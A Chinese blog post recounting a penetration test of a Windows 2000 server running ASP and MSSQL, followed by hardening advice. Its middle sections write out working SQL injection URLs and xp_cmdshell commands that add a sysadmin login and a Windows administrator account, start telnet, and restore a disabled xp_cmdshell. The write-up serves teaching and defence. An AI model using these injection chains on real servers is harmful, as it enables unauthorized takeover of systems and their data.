一次渗透的具体过程

Windows提权之Mssql(sql server)数据库提权(xp_cmdshell提权) 利用大马或者webshell管理工具登录mssql数据库,执行以下sql命令检查xp_cmdshell是否存在。也可以利用SQL注入。如果xplog70.dll也删除了可以自己上传一个或者执行以下命令恢复。结果为1,则证明存在。当结果为0时,可以通过下列命令恢复。使用xp_cmdshel执行命令。 阅读详情

一 渗透的具体过程
朋友做了一个财务部门的项目,今天叫我来做免费的渗透测试,下面来谈谈这
次的过程和体会。

先来介绍一下子服务器的基本情况,windows 2000 adv server 中文版,据称
打过了sp3,asp+iis+mssql 。首先扫描了一下子端口,呵呵,开始的一般步骤。

端口21开放: FTP (Control)
端口80开放: HTTP, World Wide Web
端口135开放: Location Service
端口139开放: NETBIOS Session Service
端口1433开放: Microsoft-SQL-Server

开了几个很经典的端口,应该说个个都很经典啊。既然确定好了端口,那就有
针对性地扫描一下看看开了什么共享么,faint,老兄把ipc$,admin$,c$,d$都
给关掉了,扫描nt的弱口令就没有实际意义了。然后呢就看看iis是否有什么
漏洞,用x_scan扫了一下,没有发现什么可以利用的漏洞。然后就来看看1433
的sql是否有什么漏洞,首先扫了一下弱口令,没有,先还是不暴力破解吧,一
般都是先礼后兵的,暴力的就留到最后了。最近sql server 有个Resolution服
务远程栈缓冲区溢出漏洞,用这个来看看,试了一下子不行。原因可能是因为
我用的exploit对sp3不适用或者是已经做了安全设置。不过这问题还是先记录
下来了。
再来看看ftp怎么样,
C:/Documents and Settings/Administrator>ftp 1.1.1.1
Connected to 1.1.1.1.
220 cwcserver Microsoft FTP Service (Version 5.0).
User (1.1.1.1:(none)): anonymous
331 Password required for anonymous.
Password:
530 User anonymous cannot log in.
Login failed.
ftp>
失败了。不支持匿名登陆的,不过这里也是一个安全隐患,可以通过暴力破解
ftp用户的密码来破解nt用户的密码。也记录下来了。好了,既然用了asp+sql
那就来看看asp编程方面有没有可以利用的东西了。到主页上面一看,有个新闻
发布系统。url如下:
http://1.1.1.1/news/default.asp?cataid=98986
先加个分号测试一下,url现在如下:
http://1.1.1.1/news/default.asp?cataid=98986;
依然正常显示,并且和前面显示完全一样。这说明了没有过滤分号,大好消息。
再测试一下子单引号。现
在的url如下:
http://1.1.1.1/news/default.asp?cataid=98986‘
页面正常显示,不过不能够显示新闻列表。提示找不到资料。这说明单引号也没
有过滤。好了,希望大大的有了。估计xp_cmdshell也可以了,其他的存储过程
也都可以用了。不过这里这台服务器是关掉了所有的默认的共享。

想想有什么好办法能够获得shell呢。仔细考虑后我想到了两种方法,基本上是
大同小异。

方法一:
利用xp_cmdshell存储过程来添加windows用户,并提升到管理员权限。
然后依然利用xp_cmdshell来打开telnet服务。最后当然是登录上去了。

方法二:
利用sp_addlogin添加sql用户,同样还要提升权限。
再用查询分析器连接SQL Server,再利用xp_cmdshell打开telnet服务。
最后登录。

两种方法都能够得到shell,我就选择第二种方法。具体过程如下:


就往SQL Server里面添加一个用户吧。
方法如下:http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.sp_addlogin user;
回车后执行,浏览器自动补上了空格,变成:
http://1.1.1.1/news/default.asp?cataid=98986;use%20master;exec%20dbo.sp_addlogin%20user;
页面依然正常显示,不过就算你打错了也会正常显示的,不能够判断究竟是
否成功。中间的20%吗,其实就是代表空格符的。上面也就相当于在查询分
析器里面执行:
use master;
dbo.sp_addlogin user;注:此处也可以为sp_addlogin user;前面的url里
面同样可以不要dbo,也就是:
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec sp_addlogin%20user;
都是一样的。
现在我们已经添加了一个用户了,密码现在为空,这里就不管这么多了,反正也是
一个过渡的过程,就不加密码了。
如果要改密码,可以这样:dbo.password null,password,user;
dbo.password是修改用密码的存储过程,null是旧密码,password是新密码,
user自然就是用户名了。而在我们这个测试中也就是这样子的:
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.password null,password,user;

ok,回到主题,现在权限还是不够高,那么就开始提升权限吧,url如下:
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.sp_addsrvrolemember user,sysadmin;
解释一下sysadmin的含义。SQL Server有八种固定服务器角色,具体如下:数据
库创建者(DBCREATOR),磁盘管理员(DISKADMIN),进程管理员(PROCESSADMIN),
安全管理员(SECURITYADMIN),服务器管理员(SEVERADMIN)安装管理员(SETUPADMIN)
,系统管理员(SYSADMIN),大容量管理员(BULKADMIN)当然最高权限的是系
统管理员(SYSADMIN),默认情况下sa也是系统管理员。
dbo.sp_addsrvrolemember是为固定服务器角色分配登录帐户的存储过程。

用大家经常使用的net命令来对应(本身并没有任何联系,这里拿来对照学习)
sp_addlogin user;相当于 net user user /add
sp_password null,password,user相当于net user user password
sp_addsrvrolemember user,sysadmin相当于net localgroup administrators user /add


好了,我们现在已经实现了添加用户并且提升到sysadmin了。下面要做的是添加windows用户并且
开启telnet服务。
打开我的查询分析器,填入服务器地址,用户民和密码。连接成功了。尝试一下xp_cmdshell是否
可以使用,
use master;
xp_cmdshell ‘dir c:‘;
记得分号是不可以少的哦。一切正常。显示出来了c:盘下的目录和文件。那就继续下去,
添加windows用户:
xp_cmdshell ‘net user awen /add‘;
设置好密码:
xp_cmdshell ‘net user awen password‘;
提升到管理员:
xp_cmdshell ‘net localgroup administrators awen /add‘;
开启telnet服务:
xp_cmdshell ‘net start tlntsvr‘
一个老问题就是还有ntlm这个拦路虎。
没问题,直接在肉鸡上也添加一个用户名和密码相同的账号然后再以这个帐号运行cmd就可以了。
具体的做法-----为cmd.exe创建一个快捷方式,右键点击,在“属性”里面钩上“以其他用户身
份运行”。ok,双击。输入刚才的用户名和密码。更加详细的做法清查看阿布的文章----
最快速登录WIN2K TELNET 服务,在这里可以找到.
http://www.patching.net/abu/gongfang/hacking/easytelnet/index.html

好了,可以telnet上去了,就写到这里,后面还进行了一些测试,都是大家所熟悉的就不写了。

 

二 回顾与思考

 

这次入侵测试要是说有难点的话那就是管理员把ipc$,admin$,c$,d$...都关掉了。
因此和以前很多的教程有点不同。比如说假设ipc$没有关闭的话,我们很轻松的
使用opentelnet这个工具来开telnet,并且也就没有了ntlm这个障碍。

再对前面的两种方法进行回顾,其实两种方法还是有区别的。
假如管理员把xp_cmdshell禁止了,第一种方法就无法进行下去了。
有人会说,第二种方法不是也一样要用到xp_cmdshell吗。
正确,不过我们还是有办法恢复过来。SQL server 2000的恢复方法是:
EXEC sp_addextendedproc xp_cmdshell ,@dllname =‘‘xplog70.dll‘‘ 
SQL Server 7.0的恢复方法是:
EXEC sp_addextendedproc xp_cmdshell ,@dllname =‘‘xpsql70.dll‘‘ 
你在2000下面是找不到xpsql70.dll的,同样7.0下面也是找不到xplog70.dll。
把第二种方法也写出来,没有测试,仅供大家参考:
1 添加用户
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net user awen /add‘;
2 更改密码
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net user awen password‘;
3 提升到管理员权限
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net localgroup administrators awen /add‘;
4 打开telnet服务
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net start tlntsrv‘;
5 依然是采用前面相同的方法登录

 


三 就本例谈谈怎样进行安全防范

 

上面所讲的是一个特定的例子,但是反应了一个问题,世界上没有绝对的安全。
安全是有很多很多细节所组成起来的。上面例子中的管理员已经做了一些必要的安全措施。
补丁打得也很及时,但是依然存在着很大的问题。不仅仅是asp没有过滤掉特殊字符。还有一些
比较严重的问题,比如说开启了ms ftp服务,这样入侵者就可以通过暴力破解ftp密码来获得
windows的密码。
如果要谈2000的安全设置,要写上厚厚的一本书也可以。下面仅仅就这个例子中来谈谈。

asp编程要注意的一些问题: 
1 涉及用户名与口令的程序最好封装在服务器端,尽量少的在ASP文件里出现,
2 涉及到与数据库连接地用户名与口令应给予最小的权限。如本例,事后问了朋友,
他使用的是sa用户,因此我能够运行很多的存储过程。
3 屏蔽很多特殊字符,如; ‘这种危险的字符必须要给过滤掉。
4 在处理类似留言板、BBS等输入框的ASP程序中,最好屏蔽掉HTML、javascript、VBScript
语句,如无特殊要求,可以限定只允许输入字母与数字,屏蔽掉特殊字符。同时对输入字符
的长度进行限制。而且不但在客户端进行输入合法性检查,同时要在服务器端程序中进行类
似检查。
5 要使用access的话,千万注意到保护好你的mdb文件,别让别人下载。 

SQL SERVER的安全
本例中SQL SERVER的设置也存在着很多的问题。比如很多存储过程没有drop,是这次入侵中的
功臣,也是安全的极大的隐患。
1 使用安全的密码策略
2 及时更新补丁程序。 
 与windows一样,SQL SERVER的许多漏洞会由补丁程序来弥补。建议在安装补丁程序之前先
在测试机器上做测试,同时提前做好目标服务器的数据备份。而很多管理员往往不注意给SQL 
SERVER打补丁。最近就有Resolution服务远程栈缓冲区溢出漏洞,很多站点都没有注意到。
3 严格控制数据库用户的权限,轻易不要给让用户对表有直接的查询、更改、插入、删除权限,
可以通过给用户以访问视图的权限,以及只具有执行存储过程的权限。在上面也提到了。
4 把危险的和不必要的存储过程删除,
xp_cmdshell,很危险的一个存储过程,能够执行dos命令,可以通过下述SQL语句
use master 
sp_dropextendedproc ‘xp_cmdshell‘ 
不过依然可以通过sp_addextendedproc来恢复,因此最好删除或改名xplog70.dll(sql server 2000)
xpsql70.dll(sql serer 7.0)
以下存储过程也很危险
xp_fileexist,用来确定一个文件是否存在。 xp_getfiledetails,可以获得文件详细资料。 
xp_dirtree,可以展开你需要了解的目录,获得所有目录深度。 Xp_getnetname,可以获得
服务器名称。 
去掉不需要的注册表访问的存储过程,如下: 
Xp_regaddmultistring Xp_regdeletekey Xp_regdeletevalue Xp_regenumvalues 
Xp_regread Xp_regremovemultistring Xp_regwrite
如果你不需要请丢弃OLE自动存储过程,这些过程包括如下: 
Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty 
Sp_OAMethod Sp_OASetProperty Sp_OAStop 

 
SQL Server数据库xp_cmdshell提权笔记 SQL Server数据库xp_cmdshell提权 阅读详情

相关推荐

操作系统权限提升(二十九)之数据库提权-SQL Server xp_cmdshell 提权

xp_cmdshell可以执行系统命令,该组件默认是关闭的,因此需要把它打开。xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开启它。

把自己活成一道光,因为你不知道,谁会借着你的光,走出了黑暗。请保持心中的善良,因为你不知道,谁会借着你的善良,走出了绝望。请保持你心中的信仰,因为你不知道,谁会借着你的信仰,走出了迷茫。请相信自己的力量,因为你不知道,谁会因为相信你,开始相信了自己.... 801

数据库提权,Mssql xp_cmdshell提权

针对Mssql xp_cmdshell提权的学习实践,SQL Server2008/2012及以前版本基本都能用,但是2016或更高版本部分不能用,或者SA权限太低,导致无法提权。数据库提权的方式也不止有Mssql xp_cmdshell一种,之后更多的提权方式也是我更应该学习的地方。

luSaMa的博客 3159

AFSim仿真系统—几何视角下的子系统交互机制解析

本文深入解析了AFSim仿真系统中子系统交互的几何机制。通过剖析世界坐标系、实体坐标系、部件坐标系等七层空间定位体系,阐述了传感器探测、目标指示等交互行为背后的几何原理与限制条件。掌握这套几何视角,是构建高保真、符合物理现实的AFSim仿真模型的关键,能有效避免坐标混乱、交互失效等常见问题。

terraform7cloud的博客 490

SQL注入中利用XP_cmdshell提权的用法

先来介绍一下子服务器的基本情况,windows 2000 adv server 中文版,据称打过了sp3,asp+iis+mssql 。首先扫描了一下子端口,呵呵,开始的一般步骤。端口21开放: FTP (Control)端口80开放: HTTP, World Wide Web端口135开放: Location Service端口139开放: NETBIOS Session Service端口14

得峰的专栏 [网络收藏] 2830

DDR5内存设计实战:如何通过CA_ODT引脚优化信号完整性(附配置示例)

本文深入探讨DDR5内存设计中CA_ODT引脚的配置与优化策略,通过Group A/Group B分组控制提升信号完整性。详细解析了ODT机制、PCB布局要点及寄存器配置方法,并附实战案例与配置示例,帮助工程师解决高速信号传输中的反射问题,确保DDR5系统稳定运行。

weixin_29202213的博客 398

AD2428与SigmaStudio:从节点自动配置与EEPROM存储实战

本文详细介绍了AD2428 A2B收发器与SigmaStudio开发环境的集成应用,重点讲解从节点自动配置与EEPROM存储的实战流程。通过硬件连接、属性配置、数据导出及嵌入式系统集成等步骤,实现设备上电自启动,提升汽车音频系统的可靠性与部署效率。

g8f9d0s1a2的博客 650

记一次小白的第一次内网渗透

于是改变策略,在CS上创建一个监听器,使用的payload是Beacon SMB,然后再CS中使用psexec进行横向移动,选择刚才创建的payload为Beacon SMB的监听器,选择10.7.233.212的会话,然后开始横向移动,然后就会得到一个IP地址为192.168.174.128的会话->然后继续进行下一步的渗透测试,继续使用ms17_010模块,去对下一台靶机进行渗透测试,但是发现怎么样都没有将shell弹出来,以为是msf中shell传不出来,于是改用CS,生成后门,然后上传另一台靶机,

2401_84466227的博客 1151

基于vivado实现FFT/IFFT

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录前言一、实现的功能二、配置1.调用DDS的IP核2.调用FFT的IP核三、结果分析1.调用DDS的IP核2.读入数据总结 前言 提示:这里可以添加本文要记录的大概内容: 例如:随着人工智能的不断发展,机器学习这门技术也越来越重要,很多人都开启了学习机器学习,本文就介绍了机器学习的基础内容。 提示:以下是本篇文章正文内容,下面案例可供参考 一、实现的功能 示例:pandas 是基于NumPy 的一种工具,该工具是为了解决数据分析任

qq_45600102的博客 1万+

一次渗透

注入 1)网站首页 2)简单and 1=1 ,1=2判断注入点 3)order by 确定字段数为9,显示位union select 1,2…判断为4和8 4)判断权限 root权限,思考使用into outfile直接写shell或者是外联数据库,使用日志getshell 5)into outfile写shell。判断mysql版本为5.5,既必须查看secure-file-priv导...

cxk 960

RK3568平台开发系列讲解(NPU篇)什么是RKNPU

📢本篇章将介绍RKNPU。

内核笔记 4354

PCL 基于强度的双边滤波【2026最新版】

基于强度信息的双边滤波代码实现、滤波前后点云未出现变化的原因以及获取带有强度pcd点云的方法。本文由优快云点云侠原创,博客长期更新,本文最近一次更新时间为:2026年5月24日。

点云侠的博客 29万+

《一次渗透实战》教程资源下载

《一次渗透实战》教程资源下载 去发现同类优质开源项目:https://gitcode.com/ 《一次渗透实战》教程详细记录了一次完整的渗透测试过程,主要包括安全风险概述和安全问题说明两大部分。本教程旨在帮助学员更好地理解渗透测试的实际应用,掌握实战技巧。 本资源文件为PDF格式,内容详实,步骤清晰,是学习渗透测试不可多得的好资料。希望您能够通过这个教程,提高自己在网络安全领域的技能水平。 去发...

gitblog_06700的博客 343

PLC集群管理:C#上位机实现10台以上分布式PLC的集中监控与指令下发

本文介绍了一套基于C# WPF开发的PLC集群管理系统,用于解决现代工业自动化产线中分布式PLC监控难题。系统采用三层解耦架构,支持100台以内不同品牌PLC的集中管理,具备批量数据采集、指令下发、实时报警等功能。核心创新点包括:1)基于异步IO的连接池管理;2)统一通信接口设计;3)寄存器合并优化算法;4)三级优先级指令队列。实际应用表明,系统数据采集延迟低于100ms,指令下发成功率99.9%,有效解决了传统单PLC监控模式存在的效率低下问题。

这里只有干货:从 Modbus 通信到 MES 对接,从 YOLO 训练到工控机部署,带你搞定工业软件开发全流程。 507

一次prime1靶机的渗透测试

什么也没有,说明我们找的参数不对,这里我们可以继续用FUZZ进行爆破参数,但是Linux里面,密码大多数存储在 /etc/passwd里面,我们试一下。查找对应的漏洞版本,后面有一个脚本,我们需要把它编译为我们需要利用的,然后传到目标靶机里面,然后执行,就可以提升到root权限。爆出信息,接下来我们进行提权获取root权限,因为爆出了操作系统,我们查看操作系统的漏洞,进入msfconsole。这里我们可以利用WordPress的漏洞,我们可以用漏扫工具扫一下,

8888的博客 1373

2022年灌溉试验设计与数据分析考试试题

2.表2数据为表层0~10cm的原状土离心机土壤水分特征曲线试验数据,(1)请利用R语言nls函数通过Van Genuchten方程对土壤体积含水率和土壤基质势进行拟合;(3)指明土壤基值势为-33 kPa和-1500kPa时的体积含水率。1.请根据表1数据,以灌溉模式为主区,生物炭用量为子区,利用R语言agricolae包生成裂区试验设计试验处理布置图;3.以R工具包factoextra中decathlon2数据集前10列为数据进行PCA分析,要求计算出(1)前5个主成分的特征值、特征向量;

Mrrunsen的博客 265

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

一次零基础 自“信息收集“到“权限维持“的渗透测试全程详细记录

权限提升,就是所谓的提权,因为一般进入拿到webshell后进入到服务器了都是低权限,在接下来的靶中我们的目标都是拿到root权限,所以拿到webshell后是低权限用户,这个时候我们需要一系列的方式进行提权,最后拿到root权限,即为结束。命令:cp /var/www/joomla2/administrator/manifests/files/.dear_penguins.zip ~ && unzip .dear_penguins.zip。在渗透测试中,权限维持是非常重要的一步。

ranzi. 1355

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

一次完整的渗透测试实验

渗透测试的一般思路 侦查 信息收集 漏洞扫描 漏洞利用 提升权限 保持连接 本次实验只用到信息收集,漏洞扫描及漏洞利用 攻击机:Kali2.0 64位(192.168.41.131) 目标机:Win7 64位(192.168.41.137) 本次实验用到的知识 Nmap: -A 详细扫描操作系统指纹识别和版本检测 -sS SYN扫描(半连接扫描) -sT...

江左盟的博客 2万+

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

漏洞渗透测试实验——基于VulnHub平台

DC1漏洞渗透测试实验

weixin_44186821的博客 914

一次完整的安全渗透测试

  网络渗透测试就是利用所有的手段进行测试,发现和挖掘系统中存在的漏洞,然后撰写渗透测试报告,将其提供给客户;客户根据渗透人员提供的渗透测试报告对系统存在漏洞和问题的地方进行修复和修补,本次渗透测试算是针对aspx类型的网站系统的一个补充。下面是整个渗透过程和一些渗透思路,写出来跟大家一起探讨和分享,不到之处请指正。   (一)初步的安全渗透测试 1.漏洞扫描 直接打开JSky Web漏...

weixin_30525825的博客 250

渗透测试实验(《网络攻防技术与实践》与《Metasploit渗透测试指南》读书实验)

书籍名称: 《网络攻防技术与实践》 《Metasploit渗透测试指南》 此次为读书过程中的实验练习,攻击机是自身的一台windows xp sp3虚拟机,metasploit环境,靶机为一个为网络攻防技术与实践提供的一台未打过补丁的英文windows xp虚拟机。我的笔记本性能不是很好,双开两个虚拟机在运行metasploit的时候还是比较卡的。 第一次的练习,难度比较低,靶

ccx_john的专栏 3273
上一篇: MSSQL中IN是否用索引.....
下一篇: ASP+XML编程
no_mIss
博客等级 码龄21年 9粉丝 66原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值